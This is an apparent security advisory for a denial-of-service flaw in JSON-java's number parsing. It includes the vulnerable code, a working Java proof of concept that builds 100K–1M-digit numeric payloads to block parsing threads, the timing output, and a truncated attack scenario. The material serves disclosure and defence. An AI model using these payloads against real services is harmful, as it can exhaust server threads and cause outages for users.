Résumé
JSON-java: JSONTokener Has Unbounded Numeric String Resource-Exhaustion DoS
Détails de l’avis
1. Executive Summary
JSON-java version 20260522 contains an unguarded path from an HTTP request body to unbounded BigInteger and BigDecimal construction. JSONTokener.nextSimpleValue() accumulates numeric characters into a StringBuilder with no length cap, then passes the full string to JSONObject.stringToNumber(), which calls new BigInteger(val) or new BigDecimal(val) directly. Both constructors have polynomial time complexity (O(n^1.585) for BigInteger).
A 488 KB JSON body — well within nginx's default 1 MB body-size limit — contains a 500,000-digit numeric literal that blocks the handling thread for approximately 3 seconds. Spring Boot has no default size limit for application/json request bodies. No parser configuration option (withStrictMode, withKeepStrings) prevents this. All three primary entry points are affected: new JSONObject(String), new JSONArray(String), and XML.toJSONObject(String).
This vulnerability is distinct from CVE-2023-5072 (which addressed StackOverflowError from deeply nested JSON structures via a try/catch in nextValue()) and from CVE-2022-45688 (which addressed recursive XML nesting depth). The numeric string length issue has been present since BigInteger support was introduced in release 20150729 and has never been fixed in any subsequent release.
Attack Complexity is rated High because successful exploitation requires the target application to be using org.json specifically (rather than the default Jackson library used by Spring Boot), and requires the developer to have explicitly passed user-controlled input to new JSONObject() or equivalent. These are deployment conditions beyond the attacker's control. See Section 6 for the full CVSS rationale and Section 8 for the comparison with Jackson's treatment of the same issue class.
This vulnerability was reproduced locally against json-20260522.jar with full evidence provided below.
2. Vulnerability Description
JSONTokener.nextSimpleValue() accumulates characters into a StringBuilder with no length limit until it hits a structural JSON character:
JSONTokener.java:500–504:
StringBuilder sb = new StringBuilder();
while (c >= ' ' && ",:]}/\\\"[{;=#".indexOf(c) < 0) {
sb.append(c); // unbounded — no length check
c = this.next();
}
The accumulated string is passed to JSONObject.stringToValue() → stringToNumber(), which calls new BigInteger(val) with zero size guard:
JSONObject.java:2738:
BigInteger bi = new BigInteger(val); // val can be arbitrarily large; no guard
BigInteger(String) has O(n^1.585) time complexity due to its internal Karatsuba multiplication during construction. A 100,000-digit input takes ~120 ms; a 1,000,000-digit input takes ~12 seconds. The decimal path (new BigDecimal(val), reached when the string contains a . or exponent) is equally affected.
No configuration option prevents this. withStrictMode(true) and withKeepStrings(true) are not checked in the nextSimpleValue() → stringToNumber() call chain. Confirmed by execution: both options still produce BigInteger in ~120 ms for a 100K-digit input.
Relationship to CVE-2023-5072: CVE-2023-5072 (fixed in release 20231013) catches StackOverflowError thrown by deeply nested JSON structures ({[ brackets) inside nextValue():
} catch (StackOverflowError e) {
throw new JSONException("JSON Array or Object depth too large to process.", e);
}
This fix is in nextValue() and covers only recursive object/array structure depth. It has no effect on the numeric string length path in nextSimpleValue() → stringToNumber(). The BigInteger length issue was not addressed in 20231013 or in any subsequent release.
3. Affected Code Locations
| File | Lines | Description |
|---|---|---|
JSONTokener.java |
500–504 | nextSimpleValue() — unbounded character accumulation into StringBuilder, no length cap |
JSONObject.java |
2721–2748 | stringToNumber() — new BigInteger(val) / new BigDecimal(val) called directly with no length guard |
4. Proof of Concept (Locally Verified)
4.1 POC Code
import org.json.*;
public class Poc2NumericDoSv2 {
public static void main(String[] args) {
System.out.println("=== CVE-002: JSONTokener Unbounded Numeric String DoS ===");
// Scaling: timing at different digit counts
System.out.println("\n-- Unquoted numeric literal (JSONObject) --");
int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};
for (int numLen : sizes) {
String payload = "{\"x\":" + "9".repeat(numLen) + "}";
long start = System.currentTimeMillis();
JSONObject jo = new JSONObject(payload);
long elapsed = System.currentTimeMillis() - start;
System.out.printf(" %,7d digits (~%3d KB): %,5d ms type=%s%n",
numLen, payload.length()/1024, elapsed, jo.get("x").getClass().getSimpleName());
}
// All affected entry points
System.out.println("\n-- All affected entry points (100K digits) --");
String p = "9".repeat(100_000);
long t;
t = System.currentTimeMillis(); new JSONObject("{\"n\":" + p + "}");
System.out.println(" new JSONObject(String): " + (System.currentTimeMillis()-t) + " ms");
t = System.currentTimeMillis(); new JSONArray("[" + p + "]");
System.out.println(" new JSONArray(String): " + (System.currentTimeMillis()-t) + " ms");
t = System.currentTimeMillis(); XML.toJSONObject("<r>" + p + "</r>");
System.out.println(" XML.toJSONObject(String): " + (System.currentTimeMillis()-t) + " ms");
// No configuration option prevents the DoS
System.out.println("\n-- Configuration bypass attempts (100K digits) --");
String payload100k = "{\"n\":" + p + "}";
t = System.currentTimeMillis();
new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));
System.out.println(" withStrictMode(true): " + (System.currentTimeMillis()-t) + " ms [no protection]");
t = System.currentTimeMillis();
new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));
System.out.println(" withKeepStrings(true): " + (System.currentTimeMillis()-t) + " ms [no protection]");
System.out.println("\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.");
}
}
4.2 Actual Execution Evidence (Reproduced Against json-20260522.jar)
=== CVE-002: JSONTokener Unbounded Numeric String DoS ===
-- Unquoted numeric literal (JSONObject) --
10,000 digits (~ 9 KB): 17 ms type=BigInteger
100,000 digits (~ 97 KB): 123 ms type=BigInteger
200,000 digits (~195 KB): 479 ms type=BigInteger
500,000 digits (~488 KB): 2,975 ms type=BigInteger
1,000,000 digits (~976 KB): 11,909 ms type=BigInteger
-- All affected entry points (100K digits) --
new JSONObject(String): 121 ms
new JSONArray(String): 120 ms
XML.toJSONObject(String): 123 ms
-- Configuration bypass attempts (100K digits) --
withStrictMode(true): 121 ms [no protection]
withKeepStrings(true): 124 ms [no protection]
RESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.
Key observations:
- All three primary entry points (
JSONObject,JSONArray,XML.toJSONObject) are equally affected - Neither
withStrictMode(true)norwithKeepStrings(true)reduces the delay - A 488 KB payload produces a ~3 second thread blockage
- Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))
5. Attack Scenarios
5.1 Thread-Pool Exhaustion via Concurrent Requests
A Java web application that explicitly uses org.json for request body parsing exposes a JSON endpoint. The develo
Références
- https://github.com/advisories/GHSA-ghc9-756g-vrcv
- https://github.com/stleary/JSON-java/security/advisories/GHSA-ghc9-756g-vrcv
- https://nvd.nist.gov/vuln/detail/CVE-2026-59171
- https://github.com/stleary/JSON-java/pull/1065
- https://github.com/stleary/JSON-java/pull/1067
- https://github.com/stleary/JSON-java/commit/703ac34a55400f9c50889e3d0c778b6d7962e81c
- https://github.com/stleary/JSON-java/commit/ab92bb9088a37f9e346cd1dda66f6a3c40a201e0
- https://github.com/stleary/JSON-java/commit/fce83c91bb229dde472283dea648a9a8955237fd
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-68539
fulgur allows Unbounded string-set value accumulation causes memory/CPU exhaustion (denial of service)
- HIGHCVE-2026-119793
libp2p: gossipsub creates a permanent topics-map entry per distinct subscription with no cap in the default config
- HIGHCVE-2026-128132
AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages
- HIGHCVE-2026-128089
dnspython has excessive memory and CPU use
- HIGHCVE-2026-102650
Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
- HIGHCVE-2026-119208
pypdf has possible long runtimes/large memory usage for encrypted PDF files